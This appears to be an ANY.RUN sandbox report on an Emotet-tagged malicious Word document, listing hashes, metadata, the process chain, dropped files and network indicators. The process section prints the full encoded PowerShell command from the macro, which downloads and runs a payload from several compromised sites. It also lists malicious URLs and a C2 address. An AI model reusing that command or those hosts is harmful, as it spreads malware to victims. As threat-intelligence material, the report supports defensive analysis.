analyze malware
  • Huge database of samples and IOCs
  • Custom VM setup
  • Unlimited submissions
  • Interactive approach
Sign up, it’s free
File name:

仕事への招待.doc

Full analysis: https://app.any.run/tasks/3c2377ab-4c90-41a4-afec-5c92310c2b48
Verdict: Malicious activity
Threats:

Emotet is one of the most dangerous trojans ever created. Over the course of its lifetime, it was upgraded to become a very destructive malware. It targets mostly corporate victims but even private users get infected in mass spam email campaigns.

Malware Trends Tracker     >>>
Analysis date: September 30, 2020, 00:09:02
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
macros
macros-on-open
generated-doc
opendir
emotet-doc
emotet
epoch3
Indicators:
MIME: application/msword
File info: Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.2, Code page: 1252, Title: Illo., Author: Julien Martin, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Microsoft Office Word, Create Time/Date: Tue Sep 29 23:27:00 2020, Last Saved Time/Date: Tue Sep 29 23:27:00 2020, Number of Pages: 1, Number of Words: 3109, Number of Characters: 17727, Security: 8
MD5:

96F737489A775B7097B7D86D286D45BB

SHA1:

875D721794C6CBB09A18B73AA0157F7ECA91E469

SHA256:

BA1879EEC360F8897FA38D73AB9D697167C114D4AABB2CEC5D650466E2214EDB

SSDEEP:

1536:I/7iQQsfDqOxqr7OxDiGmrYL7+chKas7V7tq9jD4RuqM1Vetqjp2SoUlk:ImQbfrUr74iH8Zcag7tWLytypFlk

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Application was dropped or rewritten from another process

      • KBDSN1.exe (PID: 3276)
      • Mo0duikfr.exe (PID: 3988)

  • SUSPICIOUS

    • Executed via WMI

      • POwersheLL.exe (PID: 3012)

    • PowerShell script executed

      • POwersheLL.exe (PID: 3012)

    • Creates files in the user directory

      • POwersheLL.exe (PID: 3012)

    • Starts itself from another location

      • Mo0duikfr.exe (PID: 3988)

    • Executable content was dropped or overwritten

      • POwersheLL.exe (PID: 3012)
      • Mo0duikfr.exe (PID: 3988)

    • Reads Internet Cache Settings

      • KBDSN1.exe (PID: 3276)

    • Connects to server without host name

      • KBDSN1.exe (PID: 3276)

  • INFO

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2444)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2444)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.doc | Microsoft Word document (54.2)
.doc | Microsoft Word document (old ver.) (32.2)

EXIF

FlashPix

Title: Illo.
Subject: -
Author: Julien Martin
Keywords: -
Comments: -
Template: Normal.dotm
LastModifiedBy: -
RevisionNumber: 1
Software: Microsoft Office Word
TotalEditTime: -
CreateDate: 2020:09:29 22:27:00
ModifyDate: 2020:09:29 22:27:00
Pages: 1
Words: 3109
Characters: 17727
Security: Locked for annotations
Company: -
Lines: 147
Paragraphs: 41
CharCountWithSpaces: 20795
AppVersion: 15
ScaleCrop: No
LinksUpToDate: No
SharedDoc: No
HyperlinksChanged: No
TitleOfParts: -
HeadingPairs:
  • Title
  • 1
CodePage: Unicode UTF-16, little endian
LocaleIndicator: 1033
CompObjUserTypeLen: 32
CompObjUserType: Microsoft Word 97-2003 Document
No data.
screenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
40
Monitored processes
4
Malicious processes
0
Suspicious processes
2

Behavior graph

Click at the process to see the details
start drop and start drop and start winword.exe no specs powershell.exe mo0duikfr.exe kbdsn1.exe

Process information

PID
CMD
Path
Indicators
Parent process
2444"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\AppData\Local\Temp\仕事への招待.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3012POwersheLL -ENCOD JABOAGMAdgBvAHQAdAB1AD0AKAAoACcATQB0ACcAKwAnAHIAdgAzACcAKQArACcAcgBoACcAKQA7AC4AKAAnAG4AZQB3AC0AJwArACcAaQB0AGUAJwArACcAbQAnACkAIAAkAGUAbgB2ADoAdQBzAGUAUgBQAFIAbwBmAGkATABFAFwAcgBxAF8AXwBOAFAANwBcAE8AbQA4AGkASABkAFcAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAFIARQBjAFQATwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBjAGAAVQBSAGkAVABZAGAAUABSAE8AYABUAE8AYwBgAE8ATAAiACAAPQAgACgAJwB0AGwAJwArACgAJwBzADEAJwArACcAMgAnACkAKwAoACcALAAgAHQAbABzADEAMQAnACsAJwAsACAAdAAnACsAJwBsACcAKQArACcAcwAnACkAOwAkAE8AdAB2ADAAeQBtAHkAIAA9ACAAKAAnAE0AbwAnACsAJwAwAGQAJwArACgAJwB1ACcAKwAnAGkAawAnACkAKwAnAGYAcgAnACkAOwAkAEYAegBqADkANAByADgAPQAoACcASwAnACsAKAAnAHYAMgBqACcAKwAnAF8AJwApACsAJwBlADgAJwApADsAJABQAG0AdwAzAGEAZgBnAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAGIAVAAnACsAKAAnAEYAUgAnACsAJwBxACcAKQArACgAJwBfAF8AbgAnACsAJwBwACcAKQArACgAJwA3AGIAJwArACcAVAAnACkAKwAoACcARgBPACcAKwAnAG0AOABpAGgAJwArACcAZAB3ACcAKQArACcAYgAnACsAJwBUAEYAJwApAC4AIgBSAEUAYABQAEwAYABBAGMARQAiACgAKABbAEMAaABBAHIAXQA5ADgAKwBbAEMAaABBAHIAXQA4ADQAKwBbAEMAaABBAHIAXQA3ADAAKQAsACcAXAAnACkAKQArACQATwB0AHYAMAB5AG0AeQArACgAJwAuACcAKwAoACcAZQAnACsAJwB4AGUAJwApACkAOwAkAE4ANgAwAGsAdABkAGUAPQAoACgAJwBUADUAZQAnACsAJwBzAG8AJwApACsAJwBrADMAJwApADsAJABNADMAMgBnADEAZgBsAD0ALgAoACcAbgBlAHcALQBvAGIAJwArACcAagBlACcAKwAnAGMAdAAnACkAIABOAGUAVAAuAFcAZQBiAEMAbABJAEUATgBUADsAJABUAHkAdQBhAGQAbgBwAD0AKAAnAGgAdAAnACsAJwB0ACcAKwAoACcAcAA6ACcAKwAnAC8ALwBwACcAKwAnAGEAJwApACsAJwByACcAKwAnAGwAJwArACgAJwBhAHkAJwArACcAagAnACkAKwAoACcAdQAnACsAJwBkACcAKwAnAGkAYgBvAGwAJwApACsAJwBhAC4AJwArACcAYwAnACsAJwBvAG0AJwArACgAJwAvACcAKwAnAHcAcAAnACkAKwAnAC0AaQAnACsAJwBuACcAKwAoACcAYwBsAHUAJwArACcAZAAnACkAKwAnAGUAcwAnACsAJwAvACcAKwAoACcAWAAnACsAJwAvACoAJwApACsAJwBoAHQAJwArACcAdAAnACsAKAAnAHAAOgAvACcAKwAnAC8AZgAnACsAJwByAGUAJwArACcAcwBoAGEAbgBkACcAKwAnAG0AbwByACcAKwAnAGUAbgBwACcAKQArACcALgAnACsAJwBjAG8AJwArACcAbQAnACsAJwAvACcAKwAnAHcAJwArACcAcAAnACsAKAAnAC0AYQBkACcAKwAnAG0AJwApACsAKAAnAGkAbgAnACsAJwAvAGkAbQAnACkAKwAoACcAYQBnACcAKwAnAGUAcwAnACsAJwAvAGIAJwArACcAbgBvADcARwBUADcARgAnACkAKwAoACcAeQAvACcAKwAnACoAJwApACsAKAAnAGgAdAAnACsAJwB0ACcAKQArACgAJwBwADoAJwArACcALwAnACkAKwAoACcALwBkACcAKwAnAGkAbgBhACcAKwAnAHAAYQB0ACcAKwAnAHIAJwApACsAJwBpAGsAJwArACcAYQAnACsAKAAnAC4AYwBvAG0AJwArACcALwAnACkAKwAoACcAdwAnACsAJwBwAC0AJwApACsAKAAnAGEAZAAnACsAJwBtAGkAJwArACcAbgAvAFUAJwApACsAKAAnAFkAVgAnACsAJwA3AHQATQA0AFcAQgAvACcAKwAnACoAJwApACsAJwBoAHQAJwArACcAdABwACcAKwAoACcAOgAvACcAKwAnAC8AJwArACcAcABvAHIAdABhACcAKQArACgAJwBsAC0AJwArACcAbQBzAC4AJwApACsAJwBpACcAKwAoACcAbgBmACcAKwAnAG8AJwApACsAKAAnAC8AdwAnACsAJwBwAC0AJwApACsAKAAnAGkAJwArACcAbgBjACcAKQArACgAJwBsAHUAJwArACcAZAAnACkAKwAnAGUAJwArACgAJwBzAC8AagAnACsAJwBqAFUANQA1ACcAKwAnAEwAJwArACcALwAqACcAKwAnAGgAdAB0AHAAJwArACcAcwA6AC8AJwArACcALwBsAGEAcAAnACkAKwAoACcAYQBwACcAKwAnAGUAJwApACsAKAAnAHQAZQByAGkAYQAuAGEAJwArACcAdAAvACcAKwAnAHcAcAAtAGkAbgBjACcAKQArACcAbAB1ACcAKwAoACcAZABlACcAKwAnAHMALwAnACkAKwAnAFgAJwArACcAYgB0ACcAKwAoACcAeQAnACsAJwB3AEYAJwApACsAKAAnAFAALwAqACcAKwAnAGgAdAAnACkAKwAoACcAdABwACcAKwAnADoAJwApACsAKAAnAC8ALwAnACsAJwB3AHcAJwApACsAJwB3AC4AJwArACcAdAB5ACcAKwAoACcAYwBvAG8AJwArACcAbgBlACcAKQArACcAbABlACcAKwAnAHYAJwArACcAYQB0ACcAKwAoACcAbwAnACsAJwByACcAKwAnAHMALgBjAG8AbQAnACkAKwAoACcALwAnACsAJwB3AHAAJwApACsAKAAnAC0AYwBvACcAKwAnAG4AJwApACsAKAAnAHQAZQAnACsAJwBuAHQAJwApACsAKAAnAC8AVAAvACcAKwAnACoAaAB0ACcAKQArACcAdAAnACsAJwBwACcAKwAoACcAOgAnACsAJwAvAC8AZABhAGYAJwApACsAJwB0ACcAKwAoACcAYQAnACsAJwByACcAKwAnAHMAJwArACcAaQB0AHUAcwBqAHUAZABpAGIAJwApACsAKAAnAG8AJwArACcAbAAnACsAJwBhAHQAZQByAHAAJwApACsAKAAnAGUAJwArACcAcgBjAGEAJwApACsAJwB5AGEAJwArACgAJwAuAGMAJwArACcAbwAnACkAKwAnAG0ALwAnACsAJwB3AHAAJwArACcALQBpACcAKwAnAG4AJwArACgAJwBjAGwAJwArACcAdQBkACcAKQArACgAJwBlAHMAJwArACcALwB6ACcAKQArACcATwAnACsAJwAvACcAKQAuACIAUwBQAGAATABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABZAGkAbAA3AGwAdQAxAD0AKAAoACcAUgAnACsAJwBlAGIAeAAnACkAKwAnAGMAaAAnACsAJwBvACcAKQA7AGYAbwByAGUAYQBjAGgAKAAkAEQAZgA4AHcAdQB1AGkAIABpAG4AIAAkAFQAeQB1AGEAZABuAHAAKQB7AHQAcgB5AHsAJABNADMAMgBnADEAZgBsAC4AIgBEAE8AVwBgAE4AYABMAG8AYABBAEQARgBJAEwAZQAiACgAJABEAGYAOAB3AHUAdQBpACwAIAAkAFAAbQB3ADMAYQBmAGcAKQA7ACQARgBmADIAcQBoAGcAMwA9ACgAKAAnAE8AZwAnACsAJwBnAF8AJwApACsAKAAnAG0AJwArACcAbwBqACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0AJwArACcASQB0AGUAbQAnACkAIAAkAFAAbQB3ADMAYQBmAGcAKQAuACIATABFAGAATgBgAEcAdABIACIAIAAtAGcAZQAgADIAMgA3ADEANQApACAAewAmACgAJwBJAG4AdgBvACcAKwAnAGsAZQAnACsAJwAtAEkAdAAnACsAJwBlAG0AJwApACgAJABQAG0AdwAzAGEAZgBnACkAOwAkAEgAbQAzADUAYQBkADkAPQAoACgAJwBaACcAKwAnAHgAcABiACcAKQArACcAcwBhACcAKwAnAHUAJwApADsAYgByAGUAYQBrADsAJABIAGwAaQB1AGwAagAzAD0AKAAnAEYAbAAnACsAKAAnAGYAbwAyACcAKwAnAHkAawAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWAA0ADMANwB4AGEAZwA9ACgAKAAnAFUAbABpACcAKwAnAHUAbgAnACsAJwBjACcAKQArACcAYwAnACkA C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
wmiprvse.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3988"C:\Users\admin\Rq__np7\Om8ihdw\Mo0duikfr.exe" C:\Users\admin\Rq__np7\Om8ihdw\Mo0duikfr.exe
POwersheLL.exe
User:
admin
Company:
Flex Inc.
Integrity Level:
MEDIUM
Description:
Replacement for the Masked Edit Control v 2.0.
Exit code:
0
Version:
2.8.0.3
3276"C:\Users\admin\AppData\Local\NetProjW\KBDSN1.exe"C:\Users\admin\AppData\Local\NetProjW\KBDSN1.exe
Mo0duikfr.exe
User:
admin
Company:
Flex Inc.
Integrity Level:
MEDIUM
Description:
Replacement for the Masked Edit Control v 2.0.
Version:
2.8.0.3
Total events
2 349
Read events
1 456
Write events
0
Delete events
0

Modification events

No data
Executable files
2
Suspicious files
2
Text files
0
Unknown types
3

Dropped files

PID
Process
Filename
Type
2444WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRA624.tmp.cvr —
MD5:—
SHA256:—
3012POwersheLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\VYD8I1J04J4DPW7H9K73.temp —
MD5:—
SHA256:—
3012POwersheLL.exeC:\Users\admin\Rq__np7\Om8ihdw\Mo0duikfr.exe —
MD5:—
SHA256:—
3988Mo0duikfr.exeC:\Users\admin\AppData\Local\Temp\~DF2A743CD871AB3CD7.TMP —
MD5:—
SHA256:—
3012POwersheLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-msbinary
MD5:4028388263805ABA00088A0BA4EEA515
SHA256:5A67495439D515C063CD1732C649C5ADA72E7C0056CA8B6CD70A49F80643B948
2444WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:017D1E2571E9D4C5878D517BA174F291
SHA256:99AB7C75F76A2F0724457EDED145BA61C5764981517AF373FBE663EB32CD03E8
2444WINWORD.EXEC:\Users\admin\AppData\Local\Temp\VBE\MSForms.exdtlb
MD5:DDC4FBAD0F569AA7FBB9FD7EC0BEC457
SHA256:2CCDB30025870D66422F38F00439807FA7C4AC37586BC1037174047FCA79D73A
2444WINWORD.EXEC:\Users\admin\AppData\Local\Temp\~$仕事への招待.docpgc
MD5:1C4C6FA5A1AC20D91A2C59816EC884F9
SHA256:5F413EC38722B78DED4204CDFEAE9DFF560C5E860D138C329619AB2B1A32B78F
3988Mo0duikfr.exeC:\Users\admin\AppData\Local\NetProjW\KBDSN1.exeexecutable
MD5:CC46F4C12BA8D6222B02DE9656032D12
SHA256:7BEFA47F7440C111C37D5CF1F82FDA04460B6A088F780450516CBD6ED08A1933
3012POwersheLL.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms~RF3bb16e.TMPbinary
MD5:4028388263805ABA00088A0BA4EEA515
SHA256:5A67495439D515C063CD1732C649C5ADA72E7C0056CA8B6CD70A49F80643B948
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
4
TCP/UDP connections
5
DNS requests
6
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3012
POwersheLL.exe
GET
200
172.67.171.21:80
http://freshandmorenp.com/wp-admin/images/bno7GT7Fy/
US
html
4.20 Kb
suspicious
3012
POwersheLL.exe
GET
200
103.212.121.63:80
http://dinapatrika.com/cgi-sys/suspendedpage.cgi
IN
html
7.45 Kb
suspicious
3012
POwersheLL.exe
GET
302
103.212.121.63:80
http://dinapatrika.com/wp-admin/UYV7tM4WB/
IN
html
232 b
suspicious
3276
KBDSN1.exe
POST
—
116.91.240.96:80
http://116.91.240.96/9MZoBBW1k7fYh/Zmxb/feJShQQQK/gzV3sgvWCBvYtQ9G/
JP
—
—
malicious
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
3012
POwersheLL.exe
172.67.171.21:80
freshandmorenp.com
—
US
suspicious
3012
POwersheLL.exe
103.212.121.63:80
dinapatrika.com
ESDS Software Solution Pvt. Ltd.
IN
suspicious
3012
POwersheLL.exe
164.132.10.28:80
parlayjudibola.com
OVH SAS
PT
suspicious
3276
KBDSN1.exe
116.91.240.96:80
—
ARTERIA Networks Corporation
JP
malicious
3012
POwersheLL.exe
46.36.217.154:80
portal-ms.info
Fastvps Eesti Ou
EE
suspicious

DNS requests

Domain
IP
Reputation
parlayjudibola.com
  • 164.132.10.28
suspicious
dns.msftncsi.com
  • 131.107.255.255
shared
freshandmorenp.com
  • 172.67.171.21
  • 104.24.118.205
  • 104.24.119.205
suspicious
dinapatrika.com
  • 103.212.121.63
suspicious
portal-ms.info
  • 46.36.217.154
suspicious

Threats

PID
Process
Class
Message
3012
POwersheLL.exe
Potential Corporate Privacy Violation
ET POLICY PE EXE or DLL Windows file download HTTP
3012
POwersheLL.exe
Potentially Bad Traffic
ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download
3012
POwersheLL.exe
Misc activity
ET INFO EXE - Served Attached HTTP
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2024 ANY.RUN LLC. ALL RIGHTS RESERVED
ANY.RUN
Reports
仕事への招待.doc